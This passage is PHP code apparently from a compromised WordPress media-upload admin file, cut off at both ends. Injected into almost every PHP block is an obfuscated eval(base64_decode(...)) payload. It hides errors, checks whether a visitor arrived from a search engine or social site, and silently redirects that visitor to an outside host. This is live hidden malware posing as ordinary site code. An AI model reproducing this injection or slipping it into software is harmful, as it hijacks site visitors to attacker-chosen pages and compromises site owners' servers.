    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    if (isset($errors['upload_notice'])) {
        ?>
	<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKS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JHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    if (isset($errors['upload_error']) && is_wp_error($errors['upload_error'])) {
        ?>
	<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0Ka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RwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo $errors['upload_error']->get_error_message();
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNl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tYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    if ($flash) {
        ?>
<script type="text/javascript">
//<![CDATA[
var swfu;
SWFUpload.onload = function() {
	var settings = {
			button_text: '<span class="button"><?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        _e('Select Files');
        ?>
</span>',
			button_text_style: '.button { text-align: center; font-weight: bold; font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif; }',
			button_height: "24",
			button_width: "132",
			button_text_top_padding: 2,
			button_image_url: '<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQ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n0KfQp9DQp9DQp9"));
        echo includes_url('images/upload.png');
        ?>
',
			button_placeholder_id: "flash-browse-button",
			upload_url : "<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo esc_attr($flash_action_url);
        ?>
",
			flash_url : "<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo includes_url('js/swfupload/swfupload.swf');
        ?>
",
			file_post_name: "async-upload",
			file_types: "<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo apply_filters('upload_file_glob', '*.*');
        ?>
",
			post_params : {
				"post_id" : "<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo $post_id;
        ?>
",
				"auth_cookie" : "<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        if (is_ssl()) {
            echo $_COOKIE[SECURE_AUTH_COOKIE];
        } else {
            echo $_COOKIE[AUTH_COOKIE];
        }
        ?>
",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L2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo wp_create_nonce('media-form');
        ?>
",
				"type" : "<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc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XN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo $tab;
        ?>
",
				"short" : "1"
			},
			file_size_limit : "<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo wp_max_upload_size();
        ?>
b",
			file_dialog_start_handler : fileDialogStart,
